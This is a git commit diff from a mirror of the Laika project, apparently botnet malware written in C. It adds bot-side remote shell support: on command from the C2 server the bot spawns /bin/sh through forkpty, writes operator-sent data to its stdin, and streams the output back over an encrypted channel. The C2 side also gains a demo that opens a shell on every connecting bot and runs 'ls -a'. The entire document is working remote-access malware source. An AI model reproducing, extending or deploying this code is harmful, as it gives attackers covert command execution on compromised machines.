mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Added LAIKAPKT_SHELL_*, fixed variadic packets
- added bot/shell.[ch] - simple demo cnc which runs 'ls -a' on the connect peer
This commit is contained in:
parent
02c3176bc4
commit
5c31fb861b
@ -8,10 +8,12 @@
|
||||
#include "lpolllist.h"
|
||||
#include "lrsa.h"
|
||||
|
||||
struct sLaika_shell;
|
||||
struct sLaika_bot {
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_peer *peer;
|
||||
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
|
||||
};
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void);
|
||||
|
25
bot/include/shell.h
Normal file
25
bot/include/shell.h
Normal file
@ -0,0 +1,25 @@
|
||||
#ifndef LAIKA_SHELL_H
|
||||
#define LAIKA_SHELL_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
struct sLaika_bot;
|
||||
struct sLaika_shell {
|
||||
int pid;
|
||||
int fd;
|
||||
int id;
|
||||
};
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id);
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||
|
||||
/* handles reading & writing to shell pipes */
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
||||
|
||||
/* packet handlers */
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
#endif
|
@ -2,12 +2,15 @@
|
||||
#include "lrsa.h"
|
||||
#include "lerror.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
|
||||
[LAIKAPKT_SHELL_OPEN] = sizeof(uint8_t),
|
||||
[LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t),
|
||||
};
|
||||
|
||||
void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
|
||||
@ -16,7 +19,10 @@ void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
}
|
||||
|
||||
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse
|
||||
[LAIKAPKT_HANDSHAKE_RES] = laikaB_handleHandshakeResponse,
|
||||
[LAIKAPKT_SHELL_OPEN] = laikaB_handleShellOpen,
|
||||
[LAIKAPKT_SHELL_CLOSE] = laikaB_handleShellClose,
|
||||
[LAIKAPKT_SHELL_DATA] = laikaB_handleShellData,
|
||||
};
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
@ -25,6 +31,8 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
char *tempIPBuf;
|
||||
size_t _unused;
|
||||
|
||||
memset(bot->shells, 0, sizeof(bot->shells));
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
laikaB_handlerTbl,
|
||||
@ -72,8 +80,17 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
}
|
||||
|
||||
void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
int i;
|
||||
|
||||
laikaP_cleanPList(&bot->pList);
|
||||
laikaS_freePeer(bot->peer);
|
||||
|
||||
/* clear shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
if (bot->shells[i])
|
||||
laikaB_freeShell(bot, bot->shells[i]);
|
||||
}
|
||||
|
||||
laikaM_free(bot);
|
||||
}
|
||||
|
||||
@ -104,10 +121,21 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
LAIKA_ERROR("failed to send handshake request!\n")
|
||||
}
|
||||
|
||||
void laikaB_flushQueue(struct sLaika_bot *bot) {
|
||||
/* flush pList's outQueue */
|
||||
if (bot->pList.outCount > 0) {
|
||||
if (!laikaS_handlePeerOut(bot->peer))
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
|
||||
laikaP_resetOutQueue(&bot->pList);
|
||||
}
|
||||
}
|
||||
|
||||
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
||||
struct sLaika_pollEvent *evnt;
|
||||
int numEvents;
|
||||
|
||||
laikaB_flushQueue(bot);
|
||||
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
||||
|
||||
if (numEvents == 0) /* no events? timeout was reached */
|
||||
@ -127,13 +155,6 @@ _BOTKILL:
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
LAIKA_TRYEND
|
||||
|
||||
/* flush pList's outQueue */
|
||||
if (bot->pList.outCount > 0) {
|
||||
if (!laikaS_handlePeerOut(bot->peer))
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
|
||||
laikaP_resetOutQueue(&bot->pList);
|
||||
}
|
||||
|
||||
laikaB_flushQueue(bot);
|
||||
return true;
|
||||
}
|
@ -1,18 +1,39 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_taskService tService;
|
||||
|
||||
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_shell *shell;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
shell = bot->shells[i];
|
||||
if (shell) {
|
||||
laikaB_readShell(bot, shell);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
struct sLaika_bot *bot = laikaB_newBot();
|
||||
|
||||
/* init task service */
|
||||
laikaT_initTaskService(&tService);
|
||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||
|
||||
/* connect to test CNC */
|
||||
laikaB_connectToCNC(bot, "127.0.0.1", "13337");
|
||||
|
||||
/* while connection is still alive, poll bot */
|
||||
while (laikaS_isAlive((&bot->peer->sock))) {
|
||||
if (!laikaB_poll(bot, 1000)) {
|
||||
LAIKA_DEBUG("no events!\n");
|
||||
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
|
||||
laikaT_pollTasks(&tService);
|
||||
}
|
||||
}
|
||||
|
||||
|
156
bot/src/shell.c
Normal file
156
bot/src/shell.c
Normal file
@ -0,0 +1,156 @@
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <pty.h>
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) {
|
||||
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
shell->id = id;
|
||||
|
||||
shell->pid = forkpty(&shell->fd, NULL, NULL, NULL);
|
||||
|
||||
if (shell->pid == 0) {
|
||||
/* child process, clone & run shell */
|
||||
execlp("/bin/sh", "sh", (char*) NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* make sure our calls to read() & write() do not block */
|
||||
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||
laikaB_freeShell(bot, shell);
|
||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||
}
|
||||
|
||||
bot->shells[id] = shell;
|
||||
return shell;
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
/* kill the shell */
|
||||
kill(shell->pid, SIGTERM);
|
||||
close(shell->fd);
|
||||
|
||||
bot->shells[shell->id] = NULL;
|
||||
|
||||
laikaM_free(shell);
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
|
||||
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeByte(sock, shell->id);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (rd == -1) {
|
||||
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
||||
return true; /* recoverable, there was no data to read */
|
||||
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeByte(sock, shell->id);
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
size_t nLeft;
|
||||
int nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
|
||||
/* some error occurred */
|
||||
if (length == nLeft) {
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeByte(sock, shell->id);
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
} else { /* recoverable */
|
||||
break;
|
||||
}
|
||||
} else if (nWritten == 0) {
|
||||
break;
|
||||
}
|
||||
nLeft -= nWritten;
|
||||
buf += nWritten;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ================================================[[ Handlers ]]================================================ */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t id = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* check if shell id is in use */
|
||||
if (id >= LAIKA_MAX_SHELLS || bot->shells[id])
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested invalid id! [%d]\n", id);
|
||||
|
||||
/* open shell */
|
||||
laikaB_newShell(bot, id);
|
||||
}
|
||||
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t id = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* check if shell id is in use */
|
||||
if (id >= LAIKA_MAX_SHELLS || bot->shells[id] == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested invalid id! [%d]\n", id);
|
||||
|
||||
/* close shell */
|
||||
laikaB_freeShell(bot, bot->shells[id]);
|
||||
}
|
||||
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint8_t id;
|
||||
|
||||
if (sz <= 1 || sz > (LAIKA_SHELL_DATA_MAX_LENGTH + 1))
|
||||
LAIKA_ERROR("malformed LAIKAPKT_SHELL_DATA!\n");
|
||||
|
||||
id = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* sanity check id & validate shell */
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = bot->shells[id]) == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA sent invalid id! [%d]\n", id)
|
||||
|
||||
/* read data buf */
|
||||
laikaS_read(&peer->sock, buf, sz - 1);
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz - 1);
|
||||
}
|
@ -9,8 +9,27 @@
|
||||
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN,
|
||||
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t),
|
||||
[LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t)
|
||||
};
|
||||
|
||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t id = laikaS_readByte(&peer->sock);
|
||||
|
||||
printf("Shell %d for peer %lx was closed.\n", id, peer);
|
||||
}
|
||||
|
||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
uint8_t id;
|
||||
|
||||
if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!")
|
||||
|
||||
id = laikaS_readByte(&peer->sock);
|
||||
laikaS_read(&peer->sock, (void*)buf, sz-1);
|
||||
write(STDOUT_FILENO, (void*)buf, sz-1);
|
||||
}
|
||||
|
||||
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char magicBuf[LAIKA_MAGICLEN];
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
||||
@ -53,11 +72,23 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
laikaC_onAddPeer(cnc, peer);
|
||||
|
||||
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
|
||||
|
||||
/* shell demo */
|
||||
char *demo = "ls -a\n";
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
|
||||
laikaS_writeByte(&peer->sock, 0);
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeByte(&peer->sock, 0);
|
||||
laikaS_write(&peer->sock, demo, 6);
|
||||
laikaS_endVarPacket(peer);
|
||||
}
|
||||
|
||||
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest,
|
||||
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake,
|
||||
[LAIKAPKT_SHELL_DATA] = laikaC_handleShellData
|
||||
};
|
||||
|
||||
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
||||
|
@ -22,7 +22,7 @@ bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
|
||||
}
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
||||
|
||||
/* write the peer's info */
|
||||
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
|
||||
@ -34,7 +34,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
|
||||
}
|
||||
|
||||
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
||||
|
||||
/* write the peer's pubkey */
|
||||
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
|
||||
|
@ -11,6 +11,10 @@
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPV4_LEN 16
|
||||
|
||||
/* max number of concurrent shells per peer */
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
|
||||
|
||||
/* first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
@ -24,7 +28,18 @@
|
||||
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
||||
*/
|
||||
|
||||
/*
|
||||
any packet ending with *_RES is cnc 2 peer
|
||||
any packet ending with *_REQ is peer 2 cnc
|
||||
if packet doesn't have either, it can be sent & received by both peer & cnc
|
||||
*/
|
||||
enum {
|
||||
/* ==================================================[[ Peer ]]================================================== */
|
||||
LAIKAPKT_VARPKT,
|
||||
/* layout of LAIKAPKT_VARPKT:
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
||||
/* layout of LAIKAPKT_HANDSHAKE_REQ:
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||
@ -38,27 +53,36 @@ enum {
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t cncEndian;
|
||||
*/
|
||||
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
|
||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||
* uint8_t id;
|
||||
*/
|
||||
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
|
||||
/* layout of LAIKAPKT_SHELL_CLOSE:
|
||||
* uint8_t id;
|
||||
*/
|
||||
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint8_t id;
|
||||
* char buf[VAR_PACKET_LENGTH]
|
||||
*/
|
||||
/* ==================================================[[ Auth ]]================================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
|
||||
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||
* char ipv4[LAIKA_IPV4_LEN];
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_VARPKT_REQ,
|
||||
/* layout of LAIKAPKT_VARPKT_REQ:
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
||||
|
@ -79,14 +79,14 @@ void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
LAIKA_ERROR("unended OUT packet!\n")
|
||||
}
|
||||
|
||||
laikaS_writeByte(sock, LAIKAPKT_VARPKT_REQ);
|
||||
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
|
||||
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
|
||||
laikaS_startOutPacket(peer, id);
|
||||
}
|
||||
|
||||
int laikaS_endVarPacket(struct sLaika_peer *peer) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
int patchIndx = peer->outStart - 3; /* gets index of packet size */
|
||||
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
|
||||
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
|
||||
|
||||
/* patch packet size */
|
||||
@ -94,7 +94,7 @@ int laikaS_endVarPacket(struct sLaika_peer *peer) {
|
||||
return sz;
|
||||
}
|
||||
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer) {
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->inStart != -1) { /* sanity check */
|
||||
@ -102,7 +102,7 @@ void laikaS_startInPacket(struct sLaika_peer *peer) {
|
||||
}
|
||||
|
||||
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
|
||||
if (peer->useSecure)
|
||||
if (peer->useSecure && !variadic)
|
||||
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
|
||||
peer->inStart = sock->inCount;
|
||||
@ -152,42 +152,42 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
/* read packet ID & mark start of packet */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* LAIKAPKT_VARPKT_REQ's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT_REQ is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT_REQ case calls laikaS_startInPacket
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
||||
for itself, so skip all of this */
|
||||
if (peer->pktID == LAIKAPKT_VARPKT_REQ)
|
||||
if (peer->pktID == LAIKAPKT_VARPKT)
|
||||
break;
|
||||
|
||||
/* sanity check pktID, pktSize && pktID's handler */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || (peer->pktSize = peer->pktSizeTable[peer->pktID]) == 0 || peer->handlers[peer->pktID] == NULL)
|
||||
LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
LAIKA_ERROR("peer %lx doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer);
|
||||
laikaS_startInPacket(peer, false);
|
||||
break;
|
||||
case LAIKAPKT_VARPKT_REQ:
|
||||
case LAIKAPKT_VARPKT:
|
||||
/* try grabbing pktID & size */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n")
|
||||
|
||||
/* read packet size */
|
||||
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
|
||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
LAIKA_ERROR("variable packet too large!")
|
||||
LAIKA_ERROR("variable packet too large!\n")
|
||||
|
||||
/* read pktID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* sanity check pktID, check valid range, check it's variadic (marked by a size of 0 & a defined packet handler) */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID] != 0 || peer->handlers[peer->pktID] == NULL)
|
||||
LAIKA_ERROR("requested packet id [%d] is not variadic!", peer->pktID)
|
||||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID)
|
||||
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer);
|
||||
laikaS_startInPacket(peer, true);
|
||||
break;
|
||||
default:
|
||||
/* try grabbing the rest of the packet */
|
||||
|
@ -62,14 +62,14 @@ void handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
|
||||
LAIKAPKT_SIZE panelC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
|
||||
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */
|
||||
[LAIKAPKT_AUTHENTICATED_RMV_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
|
||||
[LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */
|
||||
[LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
|
||||
};
|
||||
|
||||
PeerPktHandler panelC_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse,
|
||||
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = handleAddPeer,
|
||||
[LAIKAPKT_AUTHENTICATED_RMV_PEER] = handleRmvPeer,
|
||||
[LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = handleAddPeer,
|
||||
[LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = handleRmvPeer,
|
||||
};
|
||||
|
||||
tPanel_client *panelC_newClient() {
|
||||
|
Loading…
Reference in New Issue
Block a user